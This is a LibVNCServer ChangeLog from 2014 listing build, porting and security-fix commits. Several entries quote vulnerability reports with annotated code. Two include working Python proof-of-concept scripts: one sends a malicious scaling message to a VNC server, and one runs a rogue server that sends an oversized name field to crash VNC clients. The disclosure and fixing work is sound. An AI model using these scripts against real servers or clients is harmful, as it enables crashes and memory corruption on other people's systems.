Home | History | Annotate | Download | only in libvncserver
      1 2014-10-21  Christian Beier <dontmind (a] freeshell.org>
      2 
      3 	* NEWS: Update NEWS.
      4 
      5 2014-10-21  Christian Beier <dontmind (a] freeshell.org>
      6 
      7 	* libvncserver/sockets.c: Update comments regarding
      8 	rfbClientConnectionGone().
      9 
     10 2014-10-21  Christian Beier <dontmind (a] freeshell.org>
     11 
     12 	* libvncserver/scale.c: Fix Use-After-Free vulnerability in
     13 	LibVNCServer wrt scaling.  Reported by Ken Johnson <Ken.Johnson1 (a] telus.com>.  The vulnerability would occur in both the rfbPalmVNCSetScaleFactor
     14 	and rfbSetScale cases in the rfbProcessClientNormalMessage function
     15 	of rfbserver.c. Sending a valid scaling factor is required
     16 	(non-zero)       if (msg.ssc.scale == 0) {           rfbLogPerror("rfbProcessClientNormalMessage: will not
     17 	          accept a scale factor of zero"); rfbCloseClient(cl);           return;       }       rfbStatRecordMessageRcvd(cl, msg.type, sz_rfbSetScaleMsg,
     18 	      sz_rfbSetScaleMsg); rfbLog("rfbSetScale(%d)\n",
     19 	      msg.ssc.scale); rfbScalingSetup(cl,cl->screen->width/msg.ssc.scale,
     20 	cl->screen->height/msg.ssc.scale);       rfbSendNewScaleSize(cl); << This is the call that can trigger
     21 	      a free.  return; at the end, both cases there is a call the rfbSendNewScaleSize
     22 	function, where if the connection is subsequently disconnected after
     23 	sending the VNC scaling message can lead to a free occurring.      else     {         rfbResizeFrameBufferMsg        rmsg;         rmsg.type = rfbResizeFrameBuffer;         rmsg.pad1=0;         rmsg.framebufferWidth  =
     24 	        Swap16IfLE(cl->scaledScreen->width); rmsg.framebufferHeigth
     25 	        = Swap16IfLE(cl->scaledScreen->height); rfbLog("Sending a response
     26 	        to a UltraVNC style frameuffer resize event (%dx%d)\n",
     27 	        cl->scaledScreen->width, cl->scaledScreen->height); if
     28 	            (rfbWriteExact(cl, (char *)&rmsg, sz_rfbResizeFrameBufferMsg) < 0) {
     29 	rfbLogPerror("rfbNewClient: write");             rfbCloseClient(cl);             rfbClientConnectionGone(cl); << Call which may can lead
     30 	            to a free.  return FALSE;         }     }     return TRUE; Once this function returns, eventually rfbClientConnectionGone is
     31 	called again on the return from rfbProcessClientNormalMessage. In
     32 	KRFB server this leads to an attempt to access client->data.  POC script to trigger the vulnerability: ---snip--- import socket,binascii,struct,sys from time import sleep class RFB:     INIT_3008 = "\x52\x46\x42\x20\x30\x30\x33\x2e\x30\x30\x38\x0a"     AUTH_NO_PASS  = "\x01"     AUTH_PASS = "\x02"     SHARE_DESKTOP = "\x01"     def AUTH_PROCESS(self,data,flag):         if flag == 0:             # Get security types             secTypeCount = data[0]             secType = {}             for i in range(int(len(secTypeCount))):                 secType[i] = data[1]             return secType         elif flag == 1:             # Get auth result             # 0 means auth success             # 1 means failure             return data[3]     def AUTH_PROCESS_CHALLENGE(self, data, PASSWORD):         try:             from Crypto.Cipher import DES         except:             print "Error importing crypto. Please fix or do not
     33 	            require authentication" sys.exit(1)         if len(PASSWORD) != 8:             PASSWORD = PASSWORD.ljust(8, '\0')         PASSWORD_SWAP =
     34 
     35 	[self.reverse_bits(ord(PASSWORD[0])),self.reverse_bits(ord(PASSWORD[1])),self.reverse_bits(ord(PASSWORD[2])),self.reverse_bits(ord(PASSWORD[3])),self.reverse_bits(ord(PASSWORD[4])),self.reverse_bits(ord(PASSWORD[5])),self.reverse_bits(ord(PASSWORD[6])),self.reverse_bits(ord(PASSWORD[7]))]PASSWORD =
     36 
     37 
     38 
     39 	(struct.pack("BBBBBBBB",PASSWORD_SWAP[0],PASSWORD_SWAP[1],PASSWORD_SWAP[2],PASSWORD_SWAP[3],PASSWORD_SWAP[4],PASSWORD_SWAP[5],PASSWORD_SWAP[6],PASSWORD_SWAP[7]))crypto = DES.new(PASSWORD)         return crypto.encrypt(data)     def reverse_bits(self,x):         a=0         for i in range(8):             a += ((x>>i)&1)<<(7-i)         return a def main(argv):     print "Proof of Concept"     print "Copyright TELUS Security Labs"     print "All Rights Reserved.\n"     try:         HOST = sys.argv[1]         PORT = int(sys.argv[2])     except:         print "Usage: python setscale_segv_poc.py <host> <port>
     40 	        [password]" sys.exit(1)     try:         PASSWORD = sys.argv[3]     except:         print "No password supplied"         PASSWORD = ""     vnc = RFB()     remote = socket.socket(socket.AF_INET, socket.SOCK_STREAM)     remote.connect((HOST,PORT))     # Get server version     data = remote.recv(1024)     # Send 3.8 version     remote.send(vnc.INIT_3008)     # Get supported security types     data = remote.recv(1024)     # Process Security Message     secType = vnc.AUTH_PROCESS(data,0)     if secType[0] == "\x02":         # Send accept for password auth         remote.send(vnc.AUTH_PASS)         # Get challenge         data = remote.recv(1024)         # Send challenge response         remote.send(vnc.AUTH_PROCESS_CHALLENGE(data,PASSWORD))     elif secType[0] == "\x01":         # Send accept for None pass         remote.send(vnc.AUTH_NO_PASS)     else:         print 'The server sent us something weird during auth.'         sys.exit(1)     # Get result     data = remote.recv(1024)     # Process result     result = vnc.AUTH_PROCESS(data,1)     if result == "\x01":         # Authentication failure.          data = remote.recv(1024)         print 'Authentication failure. Server Reason: ' + str(data)         sys.exit(1)     elif result == "\x00":         print "Authentication success."     else:         print 'Some other authentication issue occured.'         sys.exit(1)     # Send ClientInit     remote.send(vnc.SHARE_DESKTOP)     # Send malicious message     print "Sending malicious data..."     remote.send("\x08\x08\x00\x00")     remote.close() if __name__ == "__main__":     main(sys.argv) ---snap---
     41 
     42 2014-10-14  dscho <johannes.schindelin (a] gmx.de>
     43 
     44 	* : Merge pull request #43 from maksqwe/fix_rfbSelectBox Fix selData.buttonWidth calculation
     45 
     46 2014-10-10  Christian Beier <dontmind (a] freeshell.org>
     47 
     48 	* libvncclient/rfbproto.c: Fix possible libvncclient ServerInit
     49 	memory corruption.  This fixes the following oCERT report (oCERT-2014-008 pt.2): There is a similar vulnerability to the previous one I sent. This is
     50 	related to the ServerInit message where the width, the height of the
     51 	server's framebuffer, its pixel format, and the name are sent to the
     52 	client. The name can be used in a malicious manner to trigger a
     53 	memory corruption in the client.  Field             Size --------------------------------- name-length
     54 	[4] name-string  [name-length] Below you will find a PoC script to show the vulnerability. This was
     55 	tested on Fedora 20 with the latest version of krdc.  I have noticed something, where the memory corruption causes the
     56 	program to hang but allows you to try to disconnect. After this it
     57 	hangs. Occasionally there will be segmentation fault in memcpy. This
     58 	can become more reliable if you connect to a different VNC server
     59 	first (Or the wrong port on the malicious server) then connecting to
     60 	the malicious port. Every time I accidentally made the wrong VNC
     61 	connection attempt the next time I connected it segfault'd.  Just run the script it will listen on port 5900 and connect to it
     62 	with krdc for example. I have observed Remmina crash more reliably.  import socket,struct,sys HOST = "" PORT =  5900 c = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
     63 	c.bind((HOST,PORT)) c.listen(1) conn,addr = c.accept() print "Connected by ", addr protocolVersion3008 =
     64 	"\x52\x46\x42\x20\x30\x30\x33\x2e\x30\x30\x38\x0a"
     65 	conn.send(protocolVersion3008) data = conn.recv(1024) # Receive the version from them.  secTypeNone = "\x01\x01" secTypeAuth = "\x01\x02"
     66 	conn.send(secTypeNone) data = conn.recv(1024) # Receive the secType choice from them.  secResultOk = "\x00" * 4 secResultNo = "\x00\x00\x00\x01"
     67 	conn.send(secResultOk) data = conn.recv(1024) # Receive the ClientInit (Shared-flag).  frameBufferWidth = 0x0480 frameBufferHeight = 0x0360 bitsPerPixel =
     68 	0x20 depth = 0x18 bigEndian = 0x1 trueColor = 0x0 redM = 0x0 greenM
     69 	= 0x0 blueM =  0x0 redS = 0x0 greenS = 0x0 blueS = 0x0 padding =
     70 	"\x00\x00\x00" nameLength = 0xffffffff nameString = "AA" * 0xFFFF +
     71 	"\x00\x0a" conn.send( struct.pack(">HHBBBBHHHBBB",frameBufferWidth,
     72 	frameBufferHeight, bitsPerPixel, depth, bigEndian, trueColor, redM,
     73 	greenM, blueM, redS, greenS, blueS) + padding + struct.pack(">I",
     74 	nameLength) + nameString ) c.close()
     75 
     76 2014-10-10  Christian Beier <dontmind (a] freeshell.org>
     77 
     78 	* libvncclient/sockets.c: Fix potential memory corruption in
     79 	libvncclient.  Fixes (maybe amongst others) the following oCERT report
     80 	([oCERT-2014-008]): LibVNCServer HandleRFBServerMessage rfbServerCutText malicious
     81 	msg.sct.length It looks like there may be a chance for potential memory corruption
     82 	when a LibVNCServer client attempts to process a Server Cut Text
     83 	message.    case rfbServerCutText:   {     char *buffer;     if (!ReadFromRFBServer(client, ((char *)&msg) + 1, 			   sz_rfbServerCutTextMsg - 1))       return FALSE;     msg.sct.length = rfbClientSwap32IfLE(msg.sct.length); <<
     84 	    Retrieve malicious length     buffer = malloc(msg.sct.length+1); << Allocate buffer. Can
     85 	    return 0x0     if (!ReadFromRFBServer(client, buffer, msg.sct.length)) <<
     86 	      Attempt to write to buffer return FALSE;     buffer[msg.sct.length] = 0; << Attempt to write to buffer     if (client->GotXCutText)       client->GotXCutText(client, buffer, msg.sct.length); <<
     87 	      Attempt to write to buffer     free(buffer);     break;   } If a message is provided with an extremely large size it is possible
     88 	to cause the malloc to fail, further leading to an attempt to write
     89 	0x0.
     90 
     91 2014-10-09  Christian Beier <dontmind (a] freeshell.org>
     92 
     93 	* NEWS: Update NEWS for 0.9.10.
     94 
     95 2014-10-09  Christian Beier <dontmind (a] freeshell.org>
     96 
     97 	* AUTHORS: Update AUTHORS.
     98 
     99 2014-10-07  dscho <johannes.schindelin (a] gmx.de>
    100 
    101 	* : Merge pull request #42 from LibVNC/autotools-fix-revisited Add autoconf macros that might not be installed with a usual
    102 	autotools setup
    103 
    104 2014-10-07  Johannes Schindelin <johannes.schindelin (a] gmx.de>
    105 
    106 	* autogen.sh: Add back a working autogen.sh There was no reason to get rid of the convenient script. Most
    107 	developers who are not in love with autoconf fail to remember that
    108 	autoreconf invocation, therefore it is better to have something
    109 	working in place.  Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de>
    110 
    111 2014-09-01  Nicolas Ruff <nruff (a] google.com>
    112 
    113 	* libvncserver/rfbserver.c: Fix stack-based buffer overflow There was a possible buffer overflow in rfbFileTransferOffer message
    114 	when processing the FileTime.  Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de>
    115 
    116 2014-10-07  dscho <johannes.schindelin (a] gmx.de>
    117 
    118 	* : Merge pull request #41 from newsoft/master Fixing 2 security issues
    119 
    120 2014-10-06  newsoft <newsoft (a] gmx.fr>
    121 
    122 	* libvncserver/scale.c: Make sure that no integer overflow could
    123 	occur during scaling
    124 
    125 2014-10-06  Christian Beier <dontmind (a] freeshell.org>
    126 
    127 	* libvncclient/Makefile.am: Add libvncclient/h264.c to dist tarball.  Otherwise the sources from a 'make dist' package wouldn't compile.
    128 
    129 2014-10-03  Christian Beier <dontmind (a] freeshell.org>
    130 
    131 	* m4/.gitignore: Really add empty m4 subdirectory.  This change kinda got lost with the last commit re-splitting.
    132 
    133 2014-10-02  Christian Beier <dontmind (a] freeshell.org>
    134 
    135 	* : Merge pull request #38 from LibVNC/autotools-fix-revisited Autotools fix revisited.
    136 
    137 2014-10-02  Christian Beier <dontmind (a] freeshell.org>
    138 
    139 	* webclients/novnc/LICENSE.txt, webclients/novnc/README.md,
    140 	webclients/novnc/include/base.css,
    141 	webclients/novnc/include/base64.js,
    142 	webclients/novnc/include/black.css,
    143 	webclients/novnc/include/blue.css,
    144 	webclients/novnc/include/chrome-app/tcp-client.js,
    145 	webclients/novnc/include/des.js,
    146 	webclients/novnc/include/display.js,
    147 	webclients/novnc/include/input.js,
    148 	webclients/novnc/include/jsunzip.js,
    149 	webclients/novnc/include/keyboard.js,
    150 	webclients/novnc/include/keysym.js,
    151 	webclients/novnc/include/keysymdef.js,
    152 	webclients/novnc/include/playback.js,
    153 	webclients/novnc/include/rfb.js, webclients/novnc/include/ui.js,
    154 	webclients/novnc/include/util.js,
    155 	webclients/novnc/include/web-socket-js/web_socket.js,
    156 	webclients/novnc/include/websock.js,
    157 	webclients/novnc/include/webutil.js, webclients/novnc/vnc.html,
    158 	webclients/novnc/vnc_auto.html: Update noVNC HTML5 client to latest
    159 	version from https://github.com/kanaka/noVNC.
    160 
    161 2014-09-21  Brian Bidulock <bidulock (a] openss7.org>
    162 
    163 	* .gitignore: add a few more ignores
    164 
    165 2014-09-21  Brian Bidulock <bidulock (a] openss7.org>
    166 
    167 	* autogen.sh: removed autogen.sh  - no longer applicable: use autoreconf -fiv
    168 
    169 2014-10-02  Christian Beier <dontmind (a] freeshell.org>
    170 
    171 	* INSTALL, acinclude.m4, ltmain.sh: Remove autotools-related files
    172 	that will get installed by autoreconf -i.
    173 
    174 2014-10-02  Brian Bidulock <bidulock (a] openss7.org>
    175 
    176 	* Makefile.am, configure.ac: Use an m4 script subdirectory, fix
    177 	automake init and two macro names.
    178 
    179 2014-10-02  Brian Bidulock <bidulock (a] openss7.org>
    180 
    181 	* client_examples/Makefile.am, examples/Makefile.am,
    182 	examples/android/Makefile.am, libvncclient/Makefile.am,
    183 	libvncserver/Makefile.am, test/Makefile.am: Rename obsolete INCLUDES
    184 	to AM_CPPFLAGS
    185 
    186 2014-09-30  Johannes Schindelin <johannes.schindelin (a] gmx.de>
    187 
    188 	* libvncserver/tightvnc-filetransfer/handlefiletransferrequest.c: 
    189 	Close unclosed comments ;-) Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de>
    190 
    191 2014-09-30  dscho <johannes.schindelin (a] gmx.de>
    192 
    193 	* : Merge pull request #36 from danielgindi/master A forgotten `#ifdef WIN32` broke UNIX build.
    194 
    195 2014-09-30  dscho <johannes.schindelin (a] gmx.de>
    196 
    197 	* : Merge pull request #33 from danielgindi/master More MSVC adjustments, now focuses on the libvncserver
    198 
    199 2014-09-20  Daniel Cohen Gindi <danielgindi (a] gmail.com>
    200 
    201 	* libvncserver/tightvnc-filetransfer/handlefiletransferrequest.c: 
    202 	These are UNIX headers, and are not available on MSVC
    203 
    204 2014-09-20  Daniel Cohen Gindi <danielgindi (a] gmail.com>
    205 
    206 	* rfb/rfb.h: Those are generally the windows headers, not just MinGW
    207 
    208 2014-09-20  Daniel Cohen Gindi <danielgindi (a] gmail.com>
    209 
    210 	* libvncserver/rfbserver.c: On windows, use the Win32 calls for
    211 	directory enumerations.  We also do not need the conversion between UNIX values to Windows
    212 	values in the RTF_FIND_DATA struct, as we already are on windows.
    213 
    214 2014-09-20  Daniel Cohen Gindi <danielgindi (a] gmail.com>
    215 
    216 	* libvncserver/httpd.c, libvncserver/rfbserver.c,
    217 	libvncserver/sockets.c, rfb/rfbclient.h: Generally adjusting headers
    218 	for compiling on windows without the mixing of Winsock 1 and 2.
    219 
    220 2014-09-20  Daniel Cohen Gindi <danielgindi (a] gmail.com>
    221 
    222 	* libvncserver/rfbserver.c: Just use a macro to bridge to the Win32
    223 	version of `mkdir` The additional compat_mkdir function was not necessary at all.
    224 
    225 2014-09-20  Daniel Cohen Gindi <danielgindi (a] gmail.com>
    226 
    227 	* compat/msvc/sys/time.h: Use correct `winsock2.h` version header
    228 	instead of winsock.h.  `windows.h` is referring to `winsock.h` (unless the
    229 	`WIN32_LEAN_AND_MEAN` is defined).  The structs used in this header
    230 	are defined in `winsock2.h` or in `winsock.h`, but we are using
    231 	Winsock2 of course! So we have to include winsock2.h and refrain
    232 	from including windows.h here
    233 
    234 2014-09-20  Daniel Cohen Gindi <danielgindi (a] gmail.com>
    235 
    236 	* libvncserver/httpd.c, libvncserver/rfbserver.c,
    237 	libvncserver/sockets.c: Fixed a violation of the C89 standard
    238 	("declarations must come before instructions")
    239 
    240 2014-09-20  Daniel Cohen Gindi <danielgindi (a] gmail.com>
    241 
    242 	* libvncserver/tightvnc-filetransfer/filetransfermsg.c: A windows
    243 	version for directory enumerations Basically taken from https://github.com/danielgindi/FileDir with
    244 	some adjustments
    245 
    246 2014-09-20  Daniel Cohen Gindi <danielgindi (a] gmail.com>
    247 
    248 	* libvncserver/tightvnc-filetransfer/filetransfermsg.c: MSVC also
    249 	has the __FUNCTION__ predefined
    250 
    251 2014-09-20  Daniel Cohen Gindi <danielgindi (a] gmail.com>
    252 
    253 	* libvncserver/tightvnc-filetransfer/filetransfermsg.c,
    254 	libvncserver/tightvnc-filetransfer/filetransfermsg.h: 
    255 	`CreateDirectory` might clash with the
    256 	`CreateDirectoryA`/`CreateDirectoryW` macros on MSVC
    257 
    258 2014-09-20  Daniel Cohen Gindi <danielgindi (a] gmail.com>
    259 
    260 	* libvncserver/tightvnc-filetransfer/filetransfermsg.c: Fail when
    261 	NULL is passed to CreateFileListInfo() Passing NULL to sprintf() would most likely crash the program.
    262 
    263 2014-09-20  Daniel Cohen Gindi <danielgindi (a] gmail.com>
    264 
    265 	* libvncclient/rfbproto.c, libvncclient/vncviewer.c,
    266 	libvncserver/rfbserver.c, libvncserver/sockets.c,
    267 	libvncserver/stats.c, libvncserver/websockets.c: `strings.h` and
    268 	`resolv.h` are not available on MSVC, and some POSIX functions are
    269 	renamed or deprecated For all of those missing/deprecated POSIX functions, we just add a
    270 	macro mapping to the _underscored version of MSVC.
    271 
    272 2014-09-09  Christian Beier <dontmind (a] freeshell.org>
    273 
    274 	* client_examples/Makefile.am: The HAVE_X11 define is not there
    275 	anymore, but we don't need it either.
    276 
    277 2014-09-09  Christian Beier <dontmind (a] freeshell.org>
    278 
    279 	* Makefile.am, configure.ac, vncterm/ChangeLog, vncterm/LinuxVNC.c,
    280 	vncterm/Makefile.am, vncterm/README, vncterm/TODO,
    281 	vncterm/VNCommand.c, vncterm/VNConsole.c, vncterm/VNConsole.h,
    282 	vncterm/example.c, vncterm/vga.h: Move vncterm to
    283 	https://github.com/LibVNC/vncterm.
    284 
    285 2014-09-09  Christian Beier <dontmind (a] freeshell.org>
    286 
    287 	* VisualNaCro/.gitignore, VisualNaCro/AUTHORS,
    288 	VisualNaCro/ChangeLog, VisualNaCro/Makefile.am, VisualNaCro/NEWS,
    289 	VisualNaCro/README, VisualNaCro/autogen.sh,
    290 	VisualNaCro/configure.ac, VisualNaCro/default8x16.h,
    291 	VisualNaCro/nacro.c, VisualNaCro/nacro.h, VisualNaCro/recorder.pl: 
    292 	Move VisualNaCro to https://github.com/LibVNC/VisualNaCro.
    293 
    294 2014-09-09  Christian Beier <dontmind (a] freeshell.org>
    295 
    296 	* prepare_x11vnc_dist.sh: Move prepare_x11vnc_dist.sh over to x11vnc
    297 	repo.
    298 
    299 2014-09-03  Christian Beier <dontmind (a] freeshell.org>
    300 
    301 	* Makefile.am, configure.ac: Remove x11vnc from autotools build
    302 	system.
    303 
    304 2014-09-03  Christian Beier <dontmind (a] freeshell.org>
    305 
    306 	* tightvnc-1.3dev5-vncviewer-alpha-cursor.patch: Remove
    307 	tightvnc-1.3dev5-vncviewer-alpha-cursor.patch.
    308 
    309 2014-09-03  Christian Beier <dontmind (a] freeshell.org>
    310 
    311 	* x11vnc/.cvsignore, x11vnc/8to24.c, x11vnc/8to24.h,
    312 	x11vnc/ChangeLog, x11vnc/Makefile.am, x11vnc/README,
    313 	x11vnc/RELEASE-NOTES, x11vnc/allowed_input_t.h, x11vnc/appshare.c,
    314 	x11vnc/avahi.c, x11vnc/avahi.h, x11vnc/blackout_t.h,
    315 	x11vnc/cleanup.c, x11vnc/cleanup.h, x11vnc/connections.c,
    316 	x11vnc/connections.h, x11vnc/cursor.c, x11vnc/cursor.h,
    317 	x11vnc/enc.h, x11vnc/enums.h, x11vnc/gui.c, x11vnc/gui.h,
    318 	x11vnc/help.c, x11vnc/help.h, x11vnc/inet.c, x11vnc/inet.h,
    319 	x11vnc/keyboard.c, x11vnc/keyboard.h, x11vnc/linuxfb.c,
    320 	x11vnc/linuxfb.h, x11vnc/macosx.c, x11vnc/macosx.h,
    321 	x11vnc/macosxCG.c, x11vnc/macosxCG.h, x11vnc/macosxCGP.c,
    322 	x11vnc/macosxCGP.h, x11vnc/macosxCGS.c, x11vnc/macosxCGS.h,
    323 	x11vnc/macosx_opengl.c, x11vnc/macosx_opengl.h,
    324 	x11vnc/misc/.cvsignore, x11vnc/misc/LICENSE,
    325 	x11vnc/misc/Makefile.am, x11vnc/misc/README, x11vnc/misc/Xdummy,
    326 	x11vnc/misc/blockdpy.c, x11vnc/misc/connect_switch,
    327 	x11vnc/misc/desktop.cgi, x11vnc/misc/dtVncPopup,
    328 	x11vnc/misc/enhanced_tightvnc_viewer/COPYING,
    329 	x11vnc/misc/enhanced_tightvnc_viewer/README,
    330 	x11vnc/misc/enhanced_tightvnc_viewer/Windows/README.txt,
    331 	x11vnc/misc/enhanced_tightvnc_viewer/Windows/sshvnc.bat,
    332 	x11vnc/misc/enhanced_tightvnc_viewer/Windows/tsvnc.bat,
    333 	x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/connect_br.tcl,
    334 	x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/info/esound/downl
    335 	oad.url,
    336 	x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/info/openssl/down
    337 	load.url,
    338 	x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/info/openssl/loca
    339 	tion.url,
    340 	x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/info/plink/downlo
    341 	ad.url,
    342 	x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/info/plink/licenc
    343 	e.url,
    344 	x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/info/stunnel/down
    345 	load.url,
    346 	x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/info/stunnel/loca
    347 	tion.url,
    348 	x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/info/vncviewer/do
    349 	wnload.url,
    350 	x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/info/vncviewer/lo
    351 	cation.url,
    352 	x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/stunnel-client.co
    353 	nf,
    354 	x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/stunnel-server.co
    355 	nf,
    356 	x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/w98/location.url,
    357 	x11vnc/misc/enhanced_tightvnc_viewer/bin/Darwin.Power.Macintosh/.cp
    358 	over,
    359 	x11vnc/misc/enhanced_tightvnc_viewer/bin/Darwin.Power.Macintosh/vnc
    360 	viewer.sh,
    361 	x11vnc/misc/enhanced_tightvnc_viewer/bin/Darwin.i386/.cpover,
    362 	x11vnc/misc/enhanced_tightvnc_viewer/bin/sshvnc,
    363 	x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc,
    364 	x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc_cmd,
    365 	x11vnc/misc/enhanced_tightvnc_viewer/bin/tsvnc,
    366 	x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer,
    367 	x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl,
    368 	x11vnc/misc/enhanced_tightvnc_viewer/bin/util/stunnel-server.conf,
    369 	x11vnc/misc/enhanced_tightvnc_viewer/build.unix,
    370 	x11vnc/misc/enhanced_tightvnc_viewer/filelist.txt,
    371 	x11vnc/misc/enhanced_tightvnc_viewer/man/man1/ssvnc.1,
    372 	x11vnc/misc/enhanced_tightvnc_viewer/man/man1/ssvncviewer.1,
    373 	x11vnc/misc/enhanced_tightvnc_viewer/src/README,
    374 	x11vnc/misc/enhanced_tightvnc_viewer/src/patches/README,
    375 	x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_bundle,
    376 	x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_getpatches,
    377 	x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_vncpatchapplied,
    378 	x11vnc/misc/enhanced_tightvnc_viewer/src/patches/stunnel-maxconn.pa
    379 	tch,
    380 	x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu
    381 	ll.patch,
    382 	x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu
    383 	llscreen.patch,
    384 	x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-ne
    385 	wfbsize.patch,
    386 	x11vnc/misc/enhanced_tightvnc_viewer/src/zips/README,
    387 	x11vnc/misc/enhanced_tightvnc_viewer/ssvnc.desktop,
    388 	x11vnc/misc/inet6to4, x11vnc/misc/panner.pl,
    389 	x11vnc/misc/qt_tslib_inject.pl, x11vnc/misc/ranfb.pl,
    390 	x11vnc/misc/rx11vnc, x11vnc/misc/rx11vnc.pl, x11vnc/misc/shm_clear,
    391 	x11vnc/misc/slide.pl, x11vnc/misc/turbovnc/Makefile.am,
    392 	x11vnc/misc/turbovnc/README, x11vnc/misc/turbovnc/apply_turbovnc,
    393 	x11vnc/misc/turbovnc/convert,
    394 	x11vnc/misc/turbovnc/convert_rfbserver,
    395 	x11vnc/misc/turbovnc/tight.c, x11vnc/misc/turbovnc/turbojpeg.h,
    396 	x11vnc/misc/turbovnc/undo_turbovnc, x11vnc/misc/uinput.pl,
    397 	x11vnc/misc/ultravnc_repeater.pl, x11vnc/misc/vcinject.pl,
    398 	x11vnc/misc/x11vnc_loop, x11vnc/misc/x11vnc_pw, x11vnc/nox11.h,
    399 	x11vnc/nox11_funcs.h, x11vnc/options.c, x11vnc/options.h,
    400 	x11vnc/params.h, x11vnc/pm.c, x11vnc/pm.h, x11vnc/pointer.c,
    401 	x11vnc/pointer.h, x11vnc/rates.c, x11vnc/rates.h, x11vnc/remote.c,
    402 	x11vnc/remote.h, x11vnc/scan.c, x11vnc/scan.h, x11vnc/screen.c,
    403 	x11vnc/screen.h, x11vnc/scrollevent_t.h, x11vnc/selection.c,
    404 	x11vnc/selection.h, x11vnc/solid.c, x11vnc/solid.h,
    405 	x11vnc/sslcmds.c, x11vnc/sslcmds.h, x11vnc/sslhelper.c,
    406 	x11vnc/sslhelper.h, x11vnc/ssltools.h, x11vnc/tkx11vnc,
    407 	x11vnc/tkx11vnc.h, x11vnc/uinput.c, x11vnc/uinput.h,
    408 	x11vnc/unixpw.c, x11vnc/unixpw.h, x11vnc/user.c, x11vnc/user.h,
    409 	x11vnc/userinput.c, x11vnc/userinput.h, x11vnc/util.c,
    410 	x11vnc/util.h, x11vnc/v4l.c, x11vnc/v4l.h, x11vnc/win_utils.c,
    411 	x11vnc/win_utils.h, x11vnc/winattr_t.h, x11vnc/x11vnc.1,
    412 	x11vnc/x11vnc.c, x11vnc/x11vnc.desktop, x11vnc/x11vnc.h,
    413 	x11vnc/x11vnc_defs.c, x11vnc/xdamage.c, x11vnc/xdamage.h,
    414 	x11vnc/xevents.c, x11vnc/xevents.h, x11vnc/xinerama.c,
    415 	x11vnc/xinerama.h, x11vnc/xkb_bell.c, x11vnc/xkb_bell.h,
    416 	x11vnc/xrandr.c, x11vnc/xrandr.h, x11vnc/xrecord.c,
    417 	x11vnc/xrecord.h, x11vnc/xwrappers.c, x11vnc/xwrappers.h: Remove
    418 	x11vnc subdir.  The new x11vnc repo is at https://github.com/LibVNC/x11vnc.
    419 
    420 2014-09-02  Johannes Schindelin <johannes.schindelin (a] gmx.de>
    421 
    422 	* libvncclient/tls_openssl.c: Fix tv_usec calculation This bug was introduced in the MSVC patches.  Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de>
    423 
    424 2014-08-29  Daniel Cohen Gindi <danielgindi (a] gmail.com>
    425 
    426 	* libvncclient/tls_openssl.c: Use Windows' critical sections to
    427 	emulate pthread's mutexes With Microsoft Visual C++, we cannot use pthreads (MinGW sports an
    428 	emulation library which is the reason we did not need
    429 	Windows-specific hacks earlier). Happily, it is very easy to provide
    430 	Windows-specific emulations for the pthread calls we use.  [JES: fixed commit message] Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de>
    431 
    432 2014-08-29  Daniel Cohen Gindi <danielgindi (a] gmail.com>
    433 
    434 	* libvncclient/zrle.c: Perform pointer arithmetic on char * instead
    435 	of void * Microsoft Visual C++ does not allow pointer arithmetic on void
    436 	pointers.  [JES: fixed commit message] Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de>
    437 
    438 2014-08-29  Daniel Cohen Gindi <danielgindi (a] gmail.com>
    439 
    440 	* libvncclient/tls_openssl.c, rfb/rfbproto.h: MSVC: Use the Unix
    441 	emulation headers [JES: provided commit message, split out unrelated changes] Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de>
    442 
    443 2014-08-29  Daniel Cohen Gindi <danielgindi (a] gmail.com>
    444 
    445 	* libvncclient/listen.c, libvncclient/sockets.c,
    446 	libvncclient/vncviewer.c: Use WIN32 for Windows-specific #ifdef
    447 	guards To support Microsoft Visual C++, we must not guard Windows-specific
    448 	code in MinGW-specific #ifdef guards.  Happily, even 64-bit MSVC defines the WIN32 constant, therefore we
    449 	can use that instead.  [JES: fixed commit message, reordered commit, split out unrelated
    450 	changes] Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de>
    451 
    452 2014-08-29  Daniel Cohen Gindi <danielgindi (a] gmail.com>
    453 
    454 	* compat/msvc/stdint.h, compat/msvc/sys/time.h,
    455 	compat/msvc/unistd.h: Add MSVC compatible unix headers The stdint.h file was copied from:
    456 	https://runexe.googlecode.com/svn-history/r9/trunk/src/runlib/msstdint.h(we can incorporate it because it is licensed under the 3-clause BSD
    457 	license.) [JES: fixed commit message, fixed stripped copyright header] Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de>
    458 
    459 2014-09-01  Daniel Cohen Gindi <danielgindi (a] gmail.com>
    460 
    461 	* libvncclient/rfbproto.c, libvncclient/sockets.c,
    462 	libvncclient/tls_openssl.c: MSVC: Use _snprintf instead of snprintf In Microsoft's Visual C runtime, the snprintf() function is actually
